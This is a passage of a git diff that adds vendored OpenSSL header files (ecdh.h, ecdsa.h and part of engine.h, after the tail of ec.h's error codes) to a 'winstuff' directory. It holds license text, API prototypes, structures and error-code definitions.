117 +#define EC_R_DISCRIMINANT_IS_ZERO 118 +#define EC_R_EC_GROUP_NEW_BY_NAME_FAILURE 119 +#define EC_R_FIELD_TOO_LARGE 138 +#define EC_R_GROUP2PKPARAMETERS_FAILURE 120 +#define EC_R_I2D_ECPKPARAMETERS_FAILURE 121 +#define EC_R_INCOMPATIBLE_OBJECTS 101 +#define EC_R_INVALID_ARGUMENT 112 +#define EC_R_INVALID_COMPRESSED_POINT 110 +#define EC_R_INVALID_COMPRESSION_BIT 109 +#define EC_R_INVALID_ENCODING 102 +#define EC_R_INVALID_FIELD 103 +#define EC_R_INVALID_FORM 104 +#define EC_R_INVALID_GROUP_ORDER 122 +#define EC_R_INVALID_PENTANOMIAL_BASIS 132 +#define EC_R_INVALID_PRIVATE_KEY 123 +#define EC_R_INVALID_TRINOMIAL_BASIS 137 +#define EC_R_MISSING_PARAMETERS 124 +#define EC_R_MISSING_PRIVATE_KEY 125 +#define EC_R_NOT_A_NIST_PRIME 135 +#define EC_R_NOT_A_SUPPORTED_NIST_PRIME 136 +#define EC_R_NOT_IMPLEMENTED 126 +#define EC_R_NOT_INITIALIZED 111 +#define EC_R_NO_FIELD_MOD 133 +#define EC_R_PASSED_NULL_PARAMETER 134 +#define EC_R_PKPARAMETERS2GROUP_FAILURE 127 +#define EC_R_POINT_AT_INFINITY 106 +#define EC_R_POINT_IS_NOT_ON_CURVE 107 +#define EC_R_SLOT_FULL 108 +#define EC_R_UNDEFINED_GENERATOR 113 +#define EC_R_UNDEFINED_ORDER 128 +#define EC_R_UNKNOWN_GROUP 129 +#define EC_R_UNKNOWN_ORDER 114 +#define EC_R_UNSUPPORTED_FIELD 131 +#define EC_R_WRONG_ORDER 130 + +#ifdef __cplusplus +} +#endif +#endif diff --git a/winstuff/openssl/ecdh.h b/winstuff/openssl/ecdh.h new file mode 100644 index 0000000..b4b58ee --- /dev/null +++ b/winstuff/openssl/ecdh.h @@ -0,0 +1,123 @@ +/* crypto/ecdh/ecdh.h */ +/* ==================================================================== + * Copyright 2002 Sun Microsystems, Inc. ALL RIGHTS RESERVED. + * + * The Elliptic Curve Public-Key Crypto Library (ECC Code) included + * herein is developed by SUN MICROSYSTEMS, INC., and is contributed + * to the OpenSSL project. + * + * The ECC Code is licensed pursuant to the OpenSSL open source + * license provided below. + * + * The ECDH software is originally written by Douglas Stebila of + * Sun Microsystems Laboratories. + * + */ +/* ==================================================================== + * Copyright (c) 2000-2002 The OpenSSL Project. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * + * 3. All advertising materials mentioning features or use of this + * software must display the following acknowledgment: + * "This product includes software developed by the OpenSSL Project + * for use in the OpenSSL Toolkit. (http://www.OpenSSL.org/)" + * + * 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to + * endorse or promote products derived from this software without + * prior written permission. For written permission, please contact + * licensing@OpenSSL.org. + * + * 5. Products derived from this software may not be called "OpenSSL" + * nor may "OpenSSL" appear in their names without prior written + * permission of the OpenSSL Project. + * + * 6. Redistributions of any form whatsoever must retain the following + * acknowledgment: + * "This product includes software developed by the OpenSSL Project + * for use in the OpenSSL Toolkit (http://www.OpenSSL.org/)" + * + * THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY + * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR + * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED + * OF THE POSSIBILITY OF SUCH DAMAGE. + * ==================================================================== + * + * This product includes cryptographic software written by Eric Young + * (eay@cryptsoft.com). This product includes software written by Tim + * Hudson (tjh@cryptsoft.com). + * + */ +#ifndef HEADER_ECDH_H +#define HEADER_ECDH_H + +#include + +#ifdef OPENSSL_NO_ECDH +#error ECDH is disabled. +#endif + +#include +#include +#ifndef OPENSSL_NO_DEPRECATED +#include +#endif + +#ifdef __cplusplus +extern "C" { +#endif + +const ECDH_METHOD *ECDH_OpenSSL(void); + +void ECDH_set_default_method(const ECDH_METHOD *); +const ECDH_METHOD *ECDH_get_default_method(void); +int ECDH_set_method(EC_KEY *, const ECDH_METHOD *); + +int ECDH_compute_key(void *out, size_t outlen, const EC_POINT *pub_key, EC_KEY *ecdh, + void *(*KDF)(const void *in, size_t inlen, void *out, size_t *outlen)); + +int ECDH_get_ex_new_index(long argl, void *argp, CRYPTO_EX_new + *new_func, CRYPTO_EX_dup *dup_func, CRYPTO_EX_free *free_func); +int ECDH_set_ex_data(EC_KEY *d, int idx, void *arg); +void *ECDH_get_ex_data(EC_KEY *d, int idx); + + +/* BEGIN ERROR CODES */ +/* The following lines are auto generated by the script mkerr.pl. Any changes + * made after this point may be overwritten when the script is next run. + */ +void ERR_load_ECDH_strings(void); + +/* Error codes for the ECDH functions. */ + +/* Function codes. */ +#define ECDH_F_ECDH_COMPUTE_KEY 100 +#define ECDH_F_ECDH_DATA_NEW_METHOD 101 + +/* Reason codes. */ +#define ECDH_R_KDF_FAILED 102 +#define ECDH_R_NO_PRIVATE_VALUE 100 +#define ECDH_R_POINT_ARITHMETIC_FAILURE 101 + +#ifdef __cplusplus +} +#endif +#endif diff --git a/winstuff/openssl/ecdsa.h b/winstuff/openssl/ecdsa.h new file mode 100644 index 0000000..f20c8ee --- /dev/null +++ b/winstuff/openssl/ecdsa.h @@ -0,0 +1,271 @@ +/* crypto/ecdsa/ecdsa.h */ +/** + * \file crypto/ecdsa/ecdsa.h Include file for the OpenSSL ECDSA functions + * \author Written by Nils Larsch for the OpenSSL project + */ +/* ==================================================================== + * Copyright (c) 2000-2003 The OpenSSL Project. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * + * 3. All advertising materials mentioning features or use of this + * software must display the following acknowledgment: + * "This product includes software developed by the OpenSSL Project + * for use in the OpenSSL Toolkit. (http://www.OpenSSL.org/)" + * + * 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to + * endorse or promote products derived from this software without + * prior written permission. For written permission, please contact + * licensing@OpenSSL.org. + * + * 5. Products derived from this software may not be called "OpenSSL" + * nor may "OpenSSL" appear in their names without prior written + * permission of the OpenSSL Project. + * + * 6. Redistributions of any form whatsoever must retain the following + * acknowledgment: + * "This product includes software developed by the OpenSSL Project + * for use in the OpenSSL Toolkit (http://www.OpenSSL.org/)" + * + * THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY + * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR + * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED + * OF THE POSSIBILITY OF SUCH DAMAGE. + * ==================================================================== + * + * This product includes cryptographic software written by Eric Young + * (eay@cryptsoft.com). This product includes software written by Tim + * Hudson (tjh@cryptsoft.com). + * + */ +#ifndef HEADER_ECDSA_H +#define HEADER_ECDSA_H + +#include + +#ifdef OPENSSL_NO_ECDSA +#error ECDSA is disabled. +#endif + +#include +#include +#ifndef OPENSSL_NO_DEPRECATED +#include +#endif + +#ifdef __cplusplus +extern "C" { +#endif + +typedef struct ECDSA_SIG_st + { + BIGNUM *r; + BIGNUM *s; + } ECDSA_SIG; + +/** ECDSA_SIG *ECDSA_SIG_new(void) + * allocates and initialize a ECDSA_SIG structure + * \return pointer to a ECDSA_SIG structure or NULL if an error occurred + */ +ECDSA_SIG *ECDSA_SIG_new(void); + +/** ECDSA_SIG_free + * frees a ECDSA_SIG structure + * \param a pointer to the ECDSA_SIG structure + */ +void ECDSA_SIG_free(ECDSA_SIG *a); + +/** i2d_ECDSA_SIG + * DER encode content of ECDSA_SIG object (note: this function modifies *pp + * (*pp += length of the DER encoded signature)). + * \param a pointer to the ECDSA_SIG object + * \param pp pointer to a unsigned char pointer for the output or NULL + * \return the length of the DER encoded ECDSA_SIG object or 0 + */ +int i2d_ECDSA_SIG(const ECDSA_SIG *a, unsigned char **pp); + +/** d2i_ECDSA_SIG + * decodes a DER encoded ECDSA signature (note: this function changes *pp + * (*pp += len)). + * \param v pointer to ECDSA_SIG pointer (may be NULL) + * \param pp buffer with the DER encoded signature + * \param len bufferlength + * \return pointer to the decoded ECDSA_SIG structure (or NULL) + */ +ECDSA_SIG *d2i_ECDSA_SIG(ECDSA_SIG **v, const unsigned char **pp, long len); + +/** ECDSA_do_sign + * computes the ECDSA signature of the given hash value using + * the supplied private key and returns the created signature. + * \param dgst pointer to the hash value + * \param dgst_len length of the hash value + * \param eckey pointer to the EC_KEY object containing a private EC key + * \return pointer to a ECDSA_SIG structure or NULL + */ +ECDSA_SIG *ECDSA_do_sign(const unsigned char *dgst,int dgst_len,EC_KEY *eckey); + +/** ECDSA_do_sign_ex + * computes ECDSA signature of a given hash value using the supplied + * private key (note: sig must point to ECDSA_size(eckey) bytes of memory). + * \param dgst pointer to the hash value to sign + * \param dgstlen length of the hash value + * \param kinv optional pointer to a pre-computed inverse k + * \param rp optional pointer to the pre-computed rp value (see + * ECDSA_sign_setup + * \param eckey pointer to the EC_KEY object containing a private EC key + * \return pointer to a ECDSA_SIG structure or NULL + */ +ECDSA_SIG *ECDSA_do_sign_ex(const unsigned char *dgst, int dgstlen, + const BIGNUM *kinv, const BIGNUM *rp, EC_KEY *eckey); + +/** ECDSA_do_verify + * verifies that the supplied signature is a valid ECDSA + * signature of the supplied hash value using the supplied public key. + * \param dgst pointer to the hash value + * \param dgst_len length of the hash value + * \param sig pointer to the ECDSA_SIG structure + * \param eckey pointer to the EC_KEY object containing a public EC key + * \return 1 if the signature is valid, 0 if the signature is invalid and -1 on error + */ +int ECDSA_do_verify(const unsigned char *dgst, int dgst_len, + const ECDSA_SIG *sig, EC_KEY* eckey); + +const ECDSA_METHOD *ECDSA_OpenSSL(void); + +/** ECDSA_set_default_method + * sets the default ECDSA method + * \param meth the new default ECDSA_METHOD + */ +void ECDSA_set_default_method(const ECDSA_METHOD *meth); + +/** ECDSA_get_default_method + * returns the default ECDSA method + * \return pointer to ECDSA_METHOD structure containing the default method + */ +const ECDSA_METHOD *ECDSA_get_default_method(void); + +/** ECDSA_set_method + * sets method to be used for the ECDSA operations + * \param eckey pointer to the EC_KEY object + * \param meth pointer to the new method + * \return 1 on success and 0 otherwise + */ +int ECDSA_set_method(EC_KEY *eckey, const ECDSA_METHOD *meth); + +/** ECDSA_size + * returns the maximum length of the DER encoded signature + * \param eckey pointer to a EC_KEY object + * \return numbers of bytes required for the DER encoded signature + */ +int ECDSA_size(const EC_KEY *eckey); + +/** ECDSA_sign_setup + * precompute parts of the signing operation. + * \param eckey pointer to the EC_KEY object containing a private EC key + * \param ctx pointer to a BN_CTX object (may be NULL) + * \param kinv pointer to a BIGNUM pointer for the inverse of k + * \param rp pointer to a BIGNUM pointer for x coordinate of k * generator + * \return 1 on success and 0 otherwise + */ +int ECDSA_sign_setup(EC_KEY *eckey, BN_CTX *ctx, BIGNUM **kinv, + BIGNUM **rp); + +/** ECDSA_sign + * computes ECDSA signature of a given hash value using the supplied + * private key (note: sig must point to ECDSA_size(eckey) bytes of memory). + * \param type this parameter is ignored + * \param dgst pointer to the hash value to sign + * \param dgstlen length of the hash value + * \param sig buffer to hold the DER encoded signature + * \param siglen pointer to the length of the returned signature + * \param eckey pointer to the EC_KEY object containing a private EC key + * \return 1 on success and 0 otherwise + */ +int ECDSA_sign(int type, const unsigned char *dgst, int dgstlen, + unsigned char *sig, unsigned int *siglen, EC_KEY *eckey); + + +/** ECDSA_sign_ex + * computes ECDSA signature of a given hash value using the supplied + * private key (note: sig must point to ECDSA_size(eckey) bytes of memory). + * \param type this parameter is ignored + * \param dgst pointer to the hash value to sign + * \param dgstlen length of the hash value + * \param sig buffer to hold the DER encoded signature + * \param siglen pointer to the length of the returned signature + * \param kinv optional pointer to a pre-computed inverse k + * \param rp optional pointer to the pre-computed rp value (see + * ECDSA_sign_setup + * \param eckey pointer to the EC_KEY object containing a private EC key + * \return 1 on success and 0 otherwise + */ +int ECDSA_sign_ex(int type, const unsigned char *dgst, int dgstlen, + unsigned char *sig, unsigned int *siglen, const BIGNUM *kinv, + const BIGNUM *rp, EC_KEY *eckey); + +/** ECDSA_verify + * verifies that the given signature is valid ECDSA signature + * of the supplied hash value using the specified public key. + * \param type this parameter is ignored + * \param dgst pointer to the hash value + * \param dgstlen length of the hash value + * \param sig pointer to the DER encoded signature + * \param siglen length of the DER encoded signature + * \param eckey pointer to the EC_KEY object containing a public EC key + * \return 1 if the signature is valid, 0 if the signature is invalid and -1 on error + */ +int ECDSA_verify(int type, const unsigned char *dgst, int dgstlen, + const unsigned char *sig, int siglen, EC_KEY *eckey); + +/* the standard ex_data functions */ +int ECDSA_get_ex_new_index(long argl, void *argp, CRYPTO_EX_new + *new_func, CRYPTO_EX_dup *dup_func, CRYPTO_EX_free *free_func); +int ECDSA_set_ex_data(EC_KEY *d, int idx, void *arg); +void *ECDSA_get_ex_data(EC_KEY *d, int idx); + + +/* BEGIN ERROR CODES */ +/* The following lines are auto generated by the script mkerr.pl. Any changes + * made after this point may be overwritten when the script is next run. + */ +void ERR_load_ECDSA_strings(void); + +/* Error codes for the ECDSA functions. */ + +/* Function codes. */ +#define ECDSA_F_ECDSA_DATA_NEW_METHOD 100 +#define ECDSA_F_ECDSA_DO_SIGN 101 +#define ECDSA_F_ECDSA_DO_VERIFY 102 +#define ECDSA_F_ECDSA_SIGN_SETUP 103 + +/* Reason codes. */ +#define ECDSA_R_BAD_SIGNATURE 100 +#define ECDSA_R_DATA_TOO_LARGE_FOR_KEY_SIZE 101 +#define ECDSA_R_ERR_EC_LIB 102 +#define ECDSA_R_MISSING_PARAMETERS 103 +#define ECDSA_R_NEED_NEW_SETUP_VALUES 106 +#define ECDSA_R_RANDOM_NUMBER_GENERATION_FAILED 104 +#define ECDSA_R_SIGNATURE_MALLOC_FAILED 105 + +#ifdef __cplusplus +} +#endif +#endif diff --git a/winstuff/openssl/engine.h b/winstuff/openssl/engine.h new file mode 100644 index 0000000..f503595 --- /dev/null +++ b/winstuff/openssl/engine.h @@ -0,0 +1,801 @@ +/* openssl/engine.h */ +/* Written by Geoff Thorpe (geoff@geoffthorpe.net) for the OpenSSL + * project 2000. + */ +/* ==================================================================== + * Copyright (c) 1999-2004 The OpenSSL Project. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * + * 3. All advertising materials mentioning features or use of this + * software must display the following acknowledgment: + * "This product includes software developed by the OpenSSL Project + * for use in the OpenSSL Toolkit. (http://www.OpenSSL.org/)" + * + * 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to + * endorse or promote products derived from this software without + * prior written permission. For written permission, please contact + * licensing@OpenSSL.org. + * + * 5. Products derived from this software may not be called "OpenSSL" + * nor may "OpenSSL" appear in their names without prior written + * permission of the OpenSSL Project. + * + * 6. Redistributions of any form whatsoever must retain the following + * acknowledgment: + * "This product includes software developed by the OpenSSL Project + * for use in the OpenSSL Toolkit (http://www.OpenSSL.org/)" + * + * THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY + * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR + * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED + * OF THE POSSIBILITY OF SUCH DAMAGE. + * ==================================================================== + * + * This product includes cryptographic software written by Eric Young + * (eay@cryptsoft.com). This product includes software written by Tim + * Hudson (tjh@cryptsoft.com). + * + */ +/* ==================================================================== + * Copyright 2002 Sun Microsystems, Inc. ALL RIGHTS RESERVED. + * ECDH support in OpenSSL originally developed by + * SUN MICROSYSTEMS, INC., and contributed to the OpenSSL project. + */ + +#ifndef HEADER_ENGINE_H +#define HEADER_ENGINE_H + +#include + +#ifdef OPENSSL_NO_ENGINE +#error ENGINE is disabled. +#endif + +#ifndef OPENSSL_NO_DEPRECATED +#include +#ifndef OPENSSL_NO_RSA +#include +#endif +#ifndef OPENSSL_NO_DSA +#include +#endif +#ifndef OPENSSL_NO_DH +#include +#endif +#ifndef OPENSSL_NO_ECDH +#include +#endif +#ifndef OPENSSL_NO_ECDSA +#include +#endif +#include +#include +#include +#include +#endif + +#include + +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* These flags are used to control combinations of algorithm (methods) + * by bitwise "OR"ing. */ +#define ENGINE_METHOD_RSA (unsigned int)0x0001 +#define ENGINE_METHOD_DSA (unsigned int)0x0002 +#define ENGINE_METHOD_DH (unsigned int)0x0004 +#define ENGINE_METHOD_RAND (unsigned int)0x0008 +#define ENGINE_METHOD_ECDH (unsigned int)0x0010 +#define ENGINE_METHOD_ECDSA (unsigned int)0x0020 +#define ENGINE_METHOD_CIPHERS (unsigned int)0x0040 +#define ENGINE_METHOD_DIGESTS (unsigned int)0x0080 +#define ENGINE_METHOD_STORE (unsigned int)0x0100 +/* Obvious all-or-nothing cases. */ +#define ENGINE_METHOD_ALL (unsigned int)0xFFFF +#define ENGINE_METHOD_NONE (unsigned int)0x0000 + +/* This(ese) flag(s) controls behaviour of the ENGINE_TABLE mechanism used + * internally to control registration of ENGINE implementations, and can be set + * by ENGINE_set_table_flags(). The "NOINIT" flag prevents attempts to + * initialise registered ENGINEs if they are not already initialised. */ +#define ENGINE_TABLE_FLAG_NOINIT (unsigned int)0x0001 + +/* ENGINE flags that can be set by ENGINE_set_flags(). */ +/* #define ENGINE_FLAGS_MALLOCED 0x0001 */ /* Not used */ + +/* This flag is for ENGINEs that wish to handle the various 'CMD'-related + * control commands on their own. Without this flag, ENGINE_ctrl() handles these + * control commands on behalf of the ENGINE using their "cmd_defns" data. */ +#define ENGINE_FLAGS_MANUAL_CMD_CTRL (int)0x0002 + +/* This flag is for ENGINEs who return new duplicate structures when found via + * "ENGINE_by_id()". When an ENGINE must store state (eg. if ENGINE_ctrl() + * commands are called in sequence as part of some stateful process like + * key-generation setup and execution), it can set this flag - then each attempt + * to obtain the ENGINE will result in it being copied into a new structure. + * Normally, ENGINEs don't declare this flag so ENGINE_by_id() just increments + * the existing ENGINE's structural reference count. */ +#define ENGINE_FLAGS_BY_ID_COPY (int)0x0004 + +/* ENGINEs can support their own command types, and these flags are used in + * ENGINE_CTRL_GET_CMD_FLAGS to indicate to the caller what kind of input each + * command expects. Currently only numeric and string input is supported. If a + * control command supports none of the _NUMERIC, _STRING, or _NO_INPUT options, + * then it is regarded as an "internal" control command - and not for use in + * config setting situations. As such, they're not available to the + * ENGINE_ctrl_cmd_string() function, only raw ENGINE_ctrl() access. Changes to + * this list of 'command types' should be reflected carefully in + * ENGINE_cmd_is_executable() and ENGINE_ctrl_cmd_string(). */ + +/* accepts a 'long' input value (3rd parameter to ENGINE_ctrl) */ +#define ENGINE_CMD_FLAG_NUMERIC (unsigned int)0x0001 +/* accepts string input (cast from 'void*' to 'const char *', 4th parameter to + * ENGINE_ctrl) */ +#define ENGINE_CMD_FLAG_STRING (unsigned int)0x0002 +/* Indicates that the control command takes *no* input. Ie. the control command + * is unparameterised. */ +#define ENGINE_CMD_FLAG_NO_INPUT (unsigned int)0x0004 +/* Indicates that the control command is internal. This control command won't + * be shown in any output, and is only usable through the ENGINE_ctrl_cmd() + * function. */ +#define ENGINE_CMD_FLAG_INTERNAL (unsigned int)0x0008 + +/* NB: These 3 control commands are deprecated and should not be used. ENGINEs + * relying on these commands should compile conditional support for + * compatibility (eg. if these symbols are defined) but should also migrate the + * same functionality to their own ENGINE-specific control functions that can be + * "discovered" by calling applications. The fact these control commands + * wouldn't be "executable" (ie. usable by text-based config) doesn't change the + * fact that application code can find and use them without requiring per-ENGINE + * hacking. */ + +/* These flags are used to tell the ctrl function what should be done. + * All command numbers are shared between all engines, even if some don't + * make sense to some engines. In such a case, they do nothing but return + * the error ENGINE_R_CTRL_COMMAND_NOT_IMPLEMENTED. */ +#define ENGINE_CTRL_SET_LOGSTREAM 1 +#define ENGINE_CTRL_SET_PASSWORD_CALLBACK 2 +#define ENGINE_CTRL_HUP 3 /* Close and reinitialise any + handles/connections etc. */ +#define ENGINE_CTRL_SET_USER_INTERFACE 4 /* Alternative to callback */ +#define ENGINE_CTRL_SET_CALLBACK_DATA 5 /* User-specific data, used + when calling the password + callback and the user + interface */ +#define ENGINE_CTRL_LOAD_CONFIGURATION 6 /* Load a configuration, given + a string that represents a + file name or so */ +#define ENGINE_CTRL_LOAD_SECTION 7 /* Load data from a given + section in the already loaded + configuration */ + +/* These control commands allow an application to deal with an arbitrary engine + * in a dynamic way. Warn: Negative return values indicate errors FOR THESE + * COMMANDS because zero is used to indicate 'end-of-list'. Other commands, + * including ENGINE-specific command types, return zero for an error. + * + * An ENGINE can choose to implement these ctrl functions, and can internally + * manage things however it chooses - it does so by setting the + * ENGINE_FLAGS_MANUAL_CMD_CTRL flag (using ENGINE_set_flags()). Otherwise the + * ENGINE_ctrl() code handles this on the ENGINE's behalf using the cmd_defns + * data (set using ENGINE_set_cmd_defns()). This means an ENGINE's ctrl() + * handler need only implement its own commands - the above "meta" commands will + * be taken care of. */ + +/* Returns non-zero if the supplied ENGINE has a ctrl() handler. If "not", then + * all the remaining control commands will return failure, so it is worth + * checking this first if the caller is trying to "discover" the engine's + * capabilities and doesn't want errors generated unnecessarily. */ +#define ENGINE_CTRL_HAS_CTRL_FUNCTION 10 +/* Returns a positive command number for the first command supported by the + * engine. Returns zero if no ctrl commands are supported. */ +#define ENGINE_CTRL_GET_FIRST_CMD_TYPE 11 +/* The 'long' argument specifies a command implemented by the engine, and the + * return value is the next command supported, or zero if there are no more. */ +#define ENGINE_CTRL_GET_NEXT_CMD_TYPE 12 +/* The 'void*' argument is a command name (cast from 'const char *'), and the + * return value is the command that corresponds to it. */ +#define ENGINE_CTRL_GET_CMD_FROM_NAME 13 +/* The next two allow a command to be converted into its corresponding string + * form. In each case, the 'long' argument supplies the command. In the NAME_LEN + * case, the return value is the length of the command name (not counting a + * trailing EOL). In the NAME case, the 'void*' argument must be a string buffer + * large enough, and it will be populated with the name of the command (WITH a + * trailing EOL). */ +#define ENGINE_CTRL_GET_NAME_LEN_FROM_CMD 14 +#define ENGINE_CTRL_GET_NAME_FROM_CMD 15 +/* The next two are similar but give a "short description" of a command. */ +#define ENGINE_CTRL_GET_DESC_LEN_FROM_CMD 16 +#define ENGINE_CTRL_GET_DESC_FROM_CMD 17 +/* With this command, the return value is the OR'd combination of + * ENGINE_CMD_FLAG_*** values that indicate what kind of input a given + * engine-specific ctrl command expects. */ +#define ENGINE_CTRL_GET_CMD_FLAGS 18 + +/* ENGINE implementations should start the numbering of their own control + * commands from this value. (ie. ENGINE_CMD_BASE, ENGINE_CMD_BASE + 1, etc). */ +#define ENGINE_CMD_BASE 200 + +/* NB: These 2 nCipher "chil" control commands are deprecated, and their + * functionality is now available through ENGINE-specific control commands + * (exposed through the above-mentioned 'CMD'-handling). Code using these 2 + * commands should be migrated to the more general command handling before these + * are removed. */ + +/* Flags specific to the nCipher "chil" engine */ +#define ENGINE_CTRL_CHIL_SET_FORKCHECK 100 + /* Depending on the value of the (long)i argument, this sets or + * unsets the SimpleForkCheck flag in the CHIL API to enable or + * disable checking and workarounds for applications that fork(). + */ +#define ENGINE_CTRL_CHIL_NO_LOCKING 101 + /* This prevents the initialisation function from providing mutex + * callbacks to the nCipher library. */ + +/* If an ENGINE supports its own specific control commands and wishes the + * framework to handle the above 'ENGINE_CMD_***'-manipulation commands on its + * behalf, it should supply a null-terminated array of ENGINE_CMD_DEFN entries + * to ENGINE_set_cmd_defns(). It should also implement a ctrl() handler that + * supports the stated commands (ie. the "cmd_num" entries as described by the + * array). NB: The array must be ordered in increasing order of cmd_num. + * "null-terminated" means that the last ENGINE_CMD_DEFN element has cmd_num set + * to zero and/or cmd_name set to NULL. */ +typedef struct ENGINE_CMD_DEFN_st + { + unsigned int cmd_num; /* The command number */ + const char *cmd_name; /* The command name itself */ + const char *cmd_desc; /* A short description of the command */ + unsigned int cmd_flags; /* The input the command expects */ + } ENGINE_CMD_DEFN; + +/* Generic function pointer */ +typedef int (*ENGINE_GEN_FUNC_PTR)(void); +/* Generic function pointer taking no arguments */ +typedef int (*ENGINE_GEN_INT_FUNC_PTR)(ENGINE *); +/* Specific control function pointer */ +typedef int (*ENGINE_CTRL_FUNC_PTR)(ENGINE *, int, long, void *, void (*f)(void)); +/* Generic load_key function pointer */ +typedef EVP_PKEY * (*ENGINE_LOAD_KEY_PTR)(ENGINE *, const char *, + UI_METHOD *ui_method, void *callback_data); +typedef int (*ENGINE_SSL_CLIENT_CERT_PTR)(ENGINE *, SSL *ssl, + STACK_OF(X509_NAME) *ca_dn, X509 **pcert, EVP_PKEY **pkey, + STACK_OF(X509) **pother, UI_METHOD *ui_method, void *callback_data); +/* These callback types are for an ENGINE's handler for cipher and digest logic. + * These handlers have these prototypes; + * int foo(ENGINE *e, const EVP_CIPHER **cipher, const int **nids, int nid); + * int foo(ENGINE *e, const EVP_MD **digest, const int **nids, int nid); + * Looking at how to implement these handlers in the case of cipher support, if + * the framework wants the EVP_CIPHER for 'nid', it will call; + * foo(e, &p_evp_cipher, NULL, nid); (return zero for failure) + * If the framework wants a list of supported 'nid's, it will call; + * foo(e, NULL, &p_nids, 0); (returns number of 'nids' or -1 for error) + */ +/* Returns to a pointer to the array of supported cipher 'nid's. If the second + * parameter is non-NULL it is set to the size of the returned array. */ +typedef int (*ENGINE_CIPHERS_PTR)(ENGINE *, const EVP_CIPHER **, const int **, int); +typedef int (*ENGINE_DIGESTS_PTR)(ENGINE *, const EVP_MD **, const int **, int); + +/* STRUCTURE functions ... all of these functions deal with pointers to ENGINE + * structures where the pointers have a "structural reference". This means that + * their reference is to allowed access to the structure but it does not imply + * that the structure is functional. To simply increment or decrement the + * structural reference count, use ENGINE_by_id and ENGINE_free. NB: This is not + * required when iterating using ENGINE_get_next as it will automatically + * decrement the structural reference count of the "current" ENGINE and + * increment the structural reference count of the ENGINE it returns (unless it + * is NULL). */ + +/* Get the first/last "ENGINE" type available. */ +ENGINE *ENGINE_get_first(void); +ENGINE *ENGINE_get_last(void); +/* Iterate to the next/previous "ENGINE" type (NULL = end of the list). */ +ENGINE *ENGINE_get_next(ENGINE *e); +ENGINE *ENGINE_get_prev(ENGINE *e); +/* Add another "ENGINE" type into the array. */ +int ENGINE_add(ENGINE *e); +/* Remove an existing "ENGINE" type from the array. */ +int ENGINE_remove(ENGINE *e); +/* Retrieve an engine from the list by its unique "id" value. */ +ENGINE *ENGINE_by_id(const char *id); +/* Add all the built-in engines. */ +void ENGINE_load_openssl(void); +void ENGINE_load_dynamic(void); +#ifndef OPENSSL_NO_STATIC_ENGINE +void ENGINE_load_4758cca(void); +void ENGINE_load_aep(void); +void ENGINE_load_atalla(void); +void ENGINE_load_chil(void); +void ENGINE_load_cswift(void); 